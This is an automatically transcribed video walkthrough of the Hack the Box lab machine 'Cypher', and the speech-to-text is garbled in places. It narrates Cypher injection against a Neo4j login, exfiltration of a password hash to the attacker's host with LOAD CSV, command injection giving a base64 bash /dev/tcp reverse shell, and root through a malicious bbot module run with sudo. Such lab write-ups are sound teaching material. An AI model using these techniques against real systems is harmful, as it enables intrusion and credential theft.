text: What's going on, YouTube? This is IPSC and we'll be doing Cipher from Hack the Box, which starts off with cipher injection, which I found to be really fun to play with. You're probably most familiar with cipher syntax as it's what Blood Hound uses. But with this, we're just using Neo4j without Blood Hound. So, we'll have to write some custom cipher queries, which I'm sure a lot of people can learn from. We'll use it to bypass authentication and then discover that there is a custom function loaded that has a command injection vulnerability. So, we can use that to get a shell on the box. And then we'll discover that we have a user that can use pseudo to run an OS init tool called BBBOT. And we'll find a couple of ways to exploit this. It's a pretty straightforward box. So let's just jump in. As always, we're going to start off with an end map. So - SC for default

title: HackTheBox - Cypher


text: scripts, SV enumerate versions VV for double boost, which gives us things like the TTL o output all formats in the end map directory and call it cipher. And then the IP address of 101011.57.

title: HackTheBox - Cypher


text: This can take some time to run, so I've already ran it. Looking at the results, we have just two ports open. The first one being SSH on port 22. And the banner tells us it's an Ubuntu server. We also have HTTP on port 80. Its banner tells us it's engine X also running on Ubuntu.

title: HackTheBox - Cypher


text: And it's directing us over to cipher.htb. So let's go ahead and add this to our host mall. So pseudo vets host. And then we can do 10 10 1157 cipher.htb.

title: HackTheBox - Cypher


text: Save that. And let's go take a look at the web page because there's not much else for us to look at. So we do http cipher http. We get a page that just has like graph asm. Now I always like having recon going on in the background. So I'm going to start up a go buster that's just going to find um open directories or files on the server. Right? So I'm going to do a go buster directory mode um u for url. We'll put that word list up seclist discovery web content I think the capital W raft small words.ext and then the output I'm just going to call it gob buster.out and that'll just start running while we go take a look at the server. So the first thing I like doing is just looking at the source code. So if we press controlU we can see the source and looking at the JavaScript. Uh, the only thing that really sticks out to me is vivoraph. If I just Googled this, it's some um like JavaScript thing to build

title: HackTheBox - Cypher


text: graphs. Um, it's probably building this little thing that doesn't seem to like my VM, right? But looking at it, we also have a comment. I don't know exactly what that's supposed to mean. And the main thing I look for here is just identifying how the web page works, right? We also have like a get/data.json and then it's doing render graph. I'm guessing this is coming out of that viviveroraph library. If we look at what data.json is. Uh let's see. Man, my browser really does not like this page. Can't wait to get off of it. Um it's just a lot of endpoints. So this is probably just building that crazy graph that we see going on in the background. So let's look at what else is on this page. Right, we have an about and if I click about it just has information about graph ASM. If I click login, we have a login form. So I always

title: HackTheBox - Cypher


text: like trying admin admin and we get access is denied. Um I'm going to try something that doesn't exist to see if I get like a user not found. We still just get access is denied. I'm going to go look at Burp Suite. So let's go turn intercept on. Go back to admin. Admin send this request. And then let's put it over to the repeater. And we can see it's making a post request to API/. Now if we go here, we just see it says invalid credentials. And it's a 401 unauthorized. So the first character I always test for is a single quote because that is a good indicator if something's going to be in um SQL injectable or not. So if put a single quote in the username, uh we get a big error message. It's talking run cipher right now. This is going to be the function we're in. And cipher, this is probably just going to be a like graph

title: HackTheBox - Cypher


text: database. Um, like Neo4j or something like that. Um, very similar to like what Blood Hound uses because it's running Neo4j. And then we run cipher queries. So, let's just scroll down to see exactly what is in this error message.

title: HackTheBox - Cypher


text: So, it's definitely Neo4j. We have a cipher syntax error. And this is the syntax we have. So, it's going to match um a user, find the secret relation, and then it looks like it's going to get the SHA one of that secret relation um where the username is equal to what we specified, and then it's going to return the SHA one value of that relation as hash. So, in cipher, um if we do slash, that's going to be a comment. It's very similar to like dash in u my SQL, right? So if I just run this, we're still going to have an error, right? Um what I want to do is try to get this so we don't have an error message anymore. Uh we can add this return h value as hash.

title: HackTheBox - Cypher


text: And let's see now we get invalid credentials. So we have um successfully made that query back. So let's go back to where we have it erroring out. I'm going to autoscroll where it matches. So what I want to do is find a way to bypass authentication, right? So um what I'm guessing here since it's returning the hash, it's going to get the hash of the user and then probably Shaw one my password and compare it. Right? That's my guess at what's coming from this. So let's go ahead and complete this. Right? So we're going to do admin uh username can be nothing. Right? And we're going to do a or true. So right now we're just saying um match the relations where username is nothing or true. So it's like or one equals one. So we're matching every single relation. Now we want to return some type of value as hash. And this is going to be what that match

title: HackTheBox - Cypher


text: returns value. Um we probably don't want to use double quotes because that's going to break JSON. We could like escape them but always simpler just to use single quotes. And let's see, we have an error somewhere. Let's see. Or true return value is hash JSON decode error.

title: HackTheBox - Cypher


text: Uh, it's probably because of this double quote. There we go. Invalid credentials. So, what I want to do is put the Shaw one sum of our password here. So, I'm just going to change the password to be like please subscribe, right? So, we can do echo please subscribe. And I also want to do a dash n so it doesn't add that line break at the end. And then let's do shaw one sum so we get that hash. Right.

title: HackTheBox - Cypher


text: And we're doing the shaw one sum because when it errored out on us if we go back to it.

title: HackTheBox - Cypher


text: Uh let's go here. Um right here it's saying shaw one. So that's the indication I wanted to use a sha one sum. So I'm going to put please subscribe here. And then we're going to return the Shaan sum. So this is the Shaan sum of please subscribe. And if we hit enter um or control spacebar to send the request, not enter, we get a new cookie. So we have now bypassed authentication because we've essentially done like what a union injection is in MySQL. We overwrote what the query is supposed to return with results that we expect. And then when the application compares that results um we'll pass in the comparison so we can log in. Now there is something else we could have done with this cipher query. It doesn't really get us much but um whenever you do cipher injection I think it's important. So I'm going to take a step

title: HackTheBox - Cypher


text: back and we're going to show the other thing we can do. So if we just do um username let's put it back to admin so we can easily find ourselves. Right.

title: HackTheBox - Cypher


text: Uh oh I hit enter. There we go.

title: HackTheBox - Cypher


text: And auto scroll. There we go. So, what I'm going to do now is I want to Xfill this hash. Right. So, what I'm going to do is um what I did before with the or true and I'm going to do load CSV from and then we're going to put our web server. So, we'll do HTTP 101048 port 8000. We'll say xfill is equal to and we'll close out. And then I'm just going to do a plus h value because I want to get this uh variable's value.

title: HackTheBox - Cypher


text: Um and we'll just say that is v. It doesn't really matter. We're just um declaring that as a variable. And then we want to say return v as hash. There we go. Uh don't forget to comment out the end.

title: HackTheBox - Cypher


text: And now when I do nclvnp on port 8000, we send this request. Come here. And we can see the server is making a get request back to us and sending us the hash. Right? So what this load CSV from does is that cipher query to say, hey, go grab a CSV from this URL. Right? So we say, okay, we're going to go from this URL and we're going to append the value we want. So we kind of have a outofband um xfiltration method, right?

title: HackTheBox - Cypher


text: And this is going to be the sha one sum of the um user's password.

title: HackTheBox - Cypher


text: Unfortunately, it doesn't crack. So you can't really just know what the password for the user is and log in that way, right? But I did want to show how to just xfill data out of um a Neo4j database. So let's now um copy the lo authe authentication bypass and we're going to go to our request paste it in forward it and now if we go back to our browser we are logged into um the website and we can do like select query and if we search it's just going to um search its near 4j database and return all the information right um again it's very similar to Blood Hound if you're used to writing custom cipher queries there. If not, I would recommend um going to ipsack.ros and probably watching the certified video because we build custom cipher queries in that one, I believe. Um but let's go and look at

title: HackTheBox - Cypher


text: what we have. So, we could again xfiltrate the uh password hash, right?

title: HackTheBox - Cypher


text: Looking at all these queries, none of them really get us what we want. This is just getting IP addresses. If we do HTTP status, um, something sticks out. We're doing a call to a custom function. And I'll get into this in just a little bit, but I do want to go and write a custom cipher query. Um, none of them are matching users, right? So, what I want to do is match. And then I'm going to specify um user and we know that from uh where we made the query error, right? And this is just a variable name. Um, I think N they normally use for node. I'm just going to do U to match um user, right? And if I search this, it should come back. There we go. We have the username of graph ASM, right? And again, it does not matter what that variable is. This is just a variable. It can be whatever you want. There we go. We have um that, right? So, let's go

title: HackTheBox - Cypher


text: ahead and find the relations. So we'll do a dash and then this again is a variable name. It doesn't matter what it is. Most people use R because it's showing relations. And then we're going to go and um grab connected. And now if I return these three, we're going to see graphana. It's got a relation with secret. And here's the value, right? Um, we could also just do like match cred is equal to this and then return cred. That's another way to do it. That's a little bit cleaner, right? But that is just doing a custom cipher query. Again, that is the same hash 9F54CA that we got when we Xfilled it. 9F54CA.

title: HackTheBox - Cypher


text: So, um, what else can we do here? Right, I want to go back to this custom function and it's doing a call. So, it's going to run a custom function to custom get URL status code. And this is where if you have recon always going on in the background, it's going to definitely help, right? Because if we go back to our Go Buster, we see there's a directory here. We have we know login, we know index, we know API, we know about, we know demo, we have testing. Um, so if we go to slash testing, we have a JAR file. So I'm just going to go ahead and download this and then we will move it to our directory. So we'll do downloads um, star.jar. I forget exactly what its name was. Custom apoch extension. Sure. Um, I'm going to extract it. And then let's go into it.

title: HackTheBox - Cypher


text: And we have um, some class files. We have custom functions.class. I'm going to use jad x to decompile it. So we'll do jad x custom functions.class and uh file not found. Oh, it's working out of wherever it's installed. So we'll do pwd. I want to do dash h because I want out file. Um dash d is for where we write to. So we do dash d decompile. So it creates a directory called decompile and then writes the file there. Um, I think we also probably need to pwd as well.

title: HackTheBox - Cypher


text: There we go. And the reason I'm doing this is because for some reason when I'm running Jad X, my current working directory is not this. It's wherever Jad X is located. So that's why it can't like create directories because it's probably in some user folder where my user doesn't have permission to. So by specifying the current um directory and then this it's saying go from this directory which I have permission in right because it's my directory. Um so let's go decompile and then there is a custom functions java. So if we look at this we see the procedure custom.get get URL status code. That is going to be the same exact thing as here, right? It's just doing a call custom get URL status code.

title: HackTheBox - Cypher


text: And we're giving it the um parameter URL. And then if we go down, we see what it's going to do. It's going to do binsh curl this command and then append the URL. And because it's doing a essentially a bash- c, we have command ejection here, right? If this curl was here and then it just was all arguments, we wouldn't be able to um do command injection because we'd essentially be in parameters. But this one's treating um this as a full command. So I don't think I explained that well, but I'm sure if you Google it enough or go to like chat GBT and say um why is it not vulnerable to command injection if I curl as the first argument, it'll make a little more sense there. But this is the binary.

title: HackTheBox - Cypher


text: These are arguments. Um because we're doing a system command as an argument, it becomes vulnerable to command injection. Whereas if we're just doing curl here and then inside of an argument, we can't really escape out of that argument. Um but let's see. So we should be able just to call this function and have some type of command injection. So I'm going to do a call. Uh I don't even think we have to return anything. Let's just do this. and put the um command here. So, we want to do some URL. Uh we'll do http uh cipher.htb and I think we want to put this in quotes and we'll do a semicolon um echo please subscribe. And if I click search, let's see what happens. Uh we get 200 and then please subscribe. And it got 200 because that's probably the status code here. and then please subscribe. We have our command.

title: HackTheBox - Cypher


text: So the next thing I want to do is just verify I'll be able to um use the pipe because if I can use the pipe I can easily get command injection here or a reverse shell here right. Uh, so let us do echo, please subscribe. And then I typo that horribly, but the typo doesn't really matter because all I want is this B 64 string. And then we'll do echo. Paste this in B 64-d. And then if I click search, we have it with my um typos, right? So this is validating. we have um a easy way to get a reverse shell. So what we could now do is uh echo- n.

title: HackTheBox - Cypher


text: Let's do bash c. I don't know normally how I do this, right? Uh we actually don't need any bash- c. We'll just do bash dash um i dev tcp 1010 148 9,000 1 0 and one like that. Okay. B 64 W 0. And then I'm going to eyeball this. And wherever there's a special character like this plus, I'm going to put a space because spaces don't break commands. And I don't know if it's going to be a problem. But URL encoding is always a painful thing to troubleshoot. So whenever I can, I like just getting it pure um alpha numeric and avoiding any symbols, right? So now we can paste this. Whoops. We can even get rid of these equals. So just echoing that in b 64-d and we'll pipe it to bash. And that's why we didn't need to prepend bash- c to a payload because we're putting the bash here. So it's going to execute whatever this is, right? So let's do an nc lvmp 90001

title: HackTheBox - Cypher


text: search and we get a shell. So let's just quickly do a Python 3- C import pty pty spawn then bin bash stty raw minus echo foreground enter awesome export term is equal to xterm which will let us clear the screen and the last thing I want to point out um let's just send this over to burpswuite real quick so I'm going to turn intercept on we can search this um send it to repeater. I'm going to simplify this query. Um let's just do curl echo test. Does this work? Awesome. Status code. Um I always like whenever I have a privileged endpoint to remove my cookies from it and test if I could just access it. And I can. So there's an authentication bypass here as well. Um, out of curiosity, if we remove the referral, that's fine. So, there's no authentication on API cipher. So, if we went back to when we could do a um API off, if we just did a um fuzz in the API

title: HackTheBox - Cypher


text: directory and found cipher, then we wouldn't even need to bypass authentication altogether because we get right to where we can query cipher queries here, right? and you can combine that knowledge with the um jar file you got from testing and then get command execution. Right? So there's a pretty big bypass there. It's something I always test for because you'd be surprised all the points where an application or at least an API doesn't test for authentication. Um but let's get back to where we are. So I'm in slash I'm going to go to the home directory and then uh we have a history. So if we cat bash history, we get a credential here. And this is a credential reuse, but I don't like it being in the bash history. There's another place it's in, but I did want to show that real quick. So we can

title: HackTheBox - Cypher


text: do a grap sh on dollar. And we see there's two users, graphasm and neo4j.

title: HackTheBox - Cypher


text: If I do sh graphasm at uh let's do cipher.htb put in that password, it will let me in. And this is something you should always do um when you get a credential. Um you can try it against all the um users. I'd only do ones above 1,00 because those are ones that will probably have a credential in this. Um Neo4j may have that same password. Uh let's try setting that sh Neo4j at um I forget the IP. I think it's 57, but we'll just use this. Try to log in. Nope, we don't. But you can always use like crackm uh net exec not crackmap exec anymore but you can use like net exec to spray ssh when you get a credential to see if it goes anywhere. There's also a program like surack that you can run and try it there. Um but let's go and let's see where else would this be used. Uh what directory am I in?

title: HackTheBox - Cypher


text: I'm in ver lib near 4j. If we do uh maybe it's not anywhere else. Uh, let's do dubdubdub graph ASM.

title: HackTheBox - Cypher


text: Uh, let's see. I was hoping to find like uh the actual websites code, but I don't think it's here. Let's do Etsy engine X sites enabled cat default because this is going to tell us where all the um good files are. So, we have slash testing is aliased here. That's going to be where the JAR file was. Slash is just graph ASM.

title: HackTheBox - Cypher


text: And then we have location API and that's going to 1270018000. Is this going to be Docker? Uh PS-F forest 8,000. Let's see.

title: HackTheBox - Cypher


text: I wonder if we want to do last dash capital S. Will that get us everything?

title: HackTheBox - Cypher


text: There we go. So, yeah. Um, port 8000 is going to be inside of Docker. So, I don't know if we have actual um access to the website code that is accessing Neo4j, which is a bit odd because we got command injection. We exploited this, right? And the API cipher. This is being ran on that docker in port 8000 most likely. So why did we run the code here and get access on what is the host because it's not a docker. If I do ls on slash, we don't have that docker env. If we do ss lnttp, we can see um java is listening on 7474 and 7687. So that query, this custom getit URL status code is probably going to just call the Java service that's listening on this host. And that's why we got code execution on the host. We're not actually exploiting the um website or cipher itself. We're exploiting the um external function or API it is calling.

title: HackTheBox - Cypher


text: So hopefully that makes sense. Um the Docker is definitely reaching back out to the host talking to this Java port and um yeah so let's see what else do we have. Um we can do a pseudo-L on the graph ASM user and we see we have BBOT that we can run. So let's see exactly what this is. So if I do a um cat user local bin bbbot, it is going to be opt pipexvn's bbbot bin python. Um and it looks like it is preventing us from using some arguments. U but this is bbbot CLI. So let's see exactly what the BBBOT is. I'm just going to Google BBBOT GitHub, but let's turn Burpuite off. So, BBBOT GitHub and it looks like it is a recursive internet scanner. So, we could keep going down there. We just do a pseudo and we can see basically how to run this program, right? We specify BBBOT- T then a URL. So, I'm guessing T is target. Uh

title: HackTheBox - Cypher


text: we have P maybe parameter. We're giving it spider subdomain, whatnot. Um, see, this is probably like some type of argument, maybe commands for it. Uh, but we could really just go to the top of this and that'll give us all the instructions, right? Uh, we see the big huge BLS OS end tool. BLS stands for Black Lantern Security. If we go back to their GitHub page, um, it is on the Black Lantern Security GitHub. So, we know we're at the right spot, right? So, um, normally when you're exploiting these types of things, um, number one, this probably doesn't need to be ran with pseudo. So, kind of a CTFy thing there. But whenever I exploit programs, the first thing I look for is, um, if I have a way to like run um, custom modules because if I can run a custom module, I can just give myself a shell that way. The other thing is whenever it

title: HackTheBox - Cypher


text: reads files um, what it does with those files, right? So it looks like we can do d-targets and specify multiple. So if we specify multiple targets, um what if we gave it a uh file on the like if it loaded a file on the box and then tried to do a curl against the contents of root.ext? If it outputs that, we get the results, right? So that's going to be my first thing. So, let's do a pseudo um probably dash l real quick so I can get the full command. So, we'll do a pseudo user local bbbot. Uh let's do root root.ext and see what happens.

title: HackTheBox - Cypher


text: Um it's scanning targets from file. Scanner is ready. And if I hit enter, um it looks like it has started a scan. I don't think that's the content of root.ext. This looks to be probably a SHA one hash. That is a little long. I don't think that's 32 characters. Um, let's see. WC- C uh 41 characters or 40 characters with the line break. So, um, that's definitely not it. If we look at the results here though, uh, we have a DNS name unresolved and this. So, it did read root.ext. This is going to be the contents of it. it read it and then attempted a DNS request against that.

title: HackTheBox - Cypher


text: Right? So, we have the contents there. Um, to prove it, we could also give it like Etsy pass WD and let's see what happens here. Um, unable to read event, we just get the very last line, but you could stop there, but let's look if we can um exploit it via a plugin. So, we want to see exactly where everything is stored. We know it's like opt pipex things like that. But let's look at where all the modules is. So we have output modules. So standard out python emails. O is going to be the directory it saves results to. I don't see anything to set like um a custom module. Right.

title: HackTheBox - Cypher


text: For the scan we do have preset which is the config. And we can do current preset full to kind of get the um details. So what I'm going to do is this and this is going to give us every like config that it is using by default right uh for fuff the word list it uses raph small directories but what I want to look for is things around module so I'm just going to search for module um bad DNS we don't care about that um underneath of modules it looks like we have something so there's going to be the email module, the HP module, websocket module. So, we may want that.

title: HackTheBox - Cypher


text: And then we also have module directories. So, this is going to be probably where the modules are stored.

title: HackTheBox - Cypher


text: So, um let's go ahead and create a preset. I'm going to go to devshm. I'm going to just do pone was it yl? I don't think it matters the um extension. And what I want, let's do module. We don't want that one. So, let's see.

title: HackTheBox - Cypher


text: What if I just do modules and give it parent if I don't need any arguments? Let's try this. Uh, but first, hold on. We got to get to whatever the top is because there are spaces.

title: HackTheBox - Cypher


text: So, we're going to do config colon. That's going to be where we start.

title: HackTheBox - Cypher


text: So v uh pone eml config and then modules was it like pone like this?

title: HackTheBox - Cypher


text: Let's look modules. Okay, that looks good. And then we want to give it a directory. So was it modules d uh dur modules dur. So this is probably where the modules are loaded from. So let's specify modules dur and it was a list like this. So, we're just going to do dev shm.

title: HackTheBox - Cypher


text: And now we want to create a module called pone. So, I'm going to go to uh we could probably just pull it from here, right? Let's see. BBOT. Let's see how a module looks. Word list modules. This is good. And then let's see if we go to base.

title: HackTheBox - Cypher


text: Let's see. Uh this is a base module. That doesn't look helpful.

title: HackTheBox - Cypher


text: Um templates maybe. Let's do web hook.

title: HackTheBox - Cypher


text: Okay. So this looks like it is the default of a module. We import YL.

title: HackTheBox - Cypher


text: Then we import the base output module library. And then we create our class.

title: HackTheBox - Cypher


text: So I'm going to copy this real quick. Let's do v pone.py.

title: HackTheBox - Cypher


text: Paste this. And I'm going to call this the pone module.

title: HackTheBox - Cypher


text: And then we'll also import OS.

title: HackTheBox - Cypher


text: Let me make sure I get my spaces right. There we go. OS.System bash. I'm going to do the full path because it is using pipex. So it may be like having a weird home or path or whatever. So we'll save that and then we want to see how to use this. So pseudo bbbot-l I didn't want l preset.

title: HackTheBox - Cypher


text: Let's see how do we specify a preset -p. So if we specify bbbot-p devshm pone.yml. Does it seem to be working?

title: HackTheBox - Cypher


text: Uh maybe. Hit enter. We did not get anything. But let's do a dash m for pone. And that should load our pone module. If dash m is module. Um could not find scan module pone. Did I mean WP scan? No.

title: HackTheBox - Cypher


text: LM. What was list modules?

title: HackTheBox - Cypher


text: Let's see. Dashl dev shm own yl l.

title: HackTheBox - Cypher


text: I wonder if modules dur was the output directory for modules because it's still listing everything when I think or preset should tell it not to right.

title: HackTheBox - Cypher


text: So let's do a was it current preset full g-i module.

title: HackTheBox - Cypher


text: Let's actually try this. Um I wonder if I do -p for the preset of desk devshm uh parent.l ammo and then the current preset. Is it going to show me or modifications enabled modules?

title: HackTheBox - Cypher


text: Doesn't look like we loaded Oh, module dur. So, we loaded that, but I don't know if we loaded a pone module.

title: HackTheBox - Cypher


text: G- I pone. I have a capital G.

title: HackTheBox - Cypher


text: Let's see. So, it doesn't look like it. Let's do make dur modules and then cpone.py inside of modules. Maybe that does it.

title: HackTheBox - Cypher


text: It does not. So, I think the issue is how we're loading the module.

title: HackTheBox - Cypher


text: Just do pone there. What happens? Internal modules again.

title: HackTheBox - Cypher


text: Not loading it correctly. So let's go and look at the documentation. So I'm going to do BBBOT preset. And that may pull up the page.

title: HackTheBox - Cypher


text: Uh presets BBOT. That looks good. Uh there's also list of presets.

title: HackTheBox - Cypher


text: Uh let's look at one cloud an um so this is what they look like. Code durust and it looks like they have config modules and they also have modules here.

title: HackTheBox - Cypher


text: Um the loading the modules here and then putting mod let's see maybe that's it. Um pone.py. Uh we want pone. Not py.

title: HackTheBox - Cypher


text: Finally opened it. Um let's take the config out cuz I put it at both places. Try it this way. Now I can do pseudo um use a local bin. This dashp pone. Module pone.

title: HackTheBox - Cypher


text: Uh we need devsh.

title: HackTheBox - Cypher


text: There we go. It worked. Um so it loaded the module. As soon as it loads the module, we're telling it to execute bash. So now we are root and we can get root.ext. So that is going to be the box. I do want to test something real quick. Um, let's see. Pone.

title: HackTheBox - Cypher


text: Did the module dur also have to be outside of config? Because when I did the like preset and then listed this, it did show dev shm was a module dur. So I don't know if that one matters too much.

title: HackTheBox - Cypher


text: So let's set this real quick. uh -p. Yep.

title: HackTheBox - Cypher


text: Uh so, okay. Yeah, you don't want to use the config at all. Um I'm not sure the difference there. I'm sure there is a difference, but that was our mistake is we're putting things under config when we shouldn't have. So, that is going to be the box. Hope you guys enjoyed it. Take care and I will see you all next

title: HackTheBox - Cypher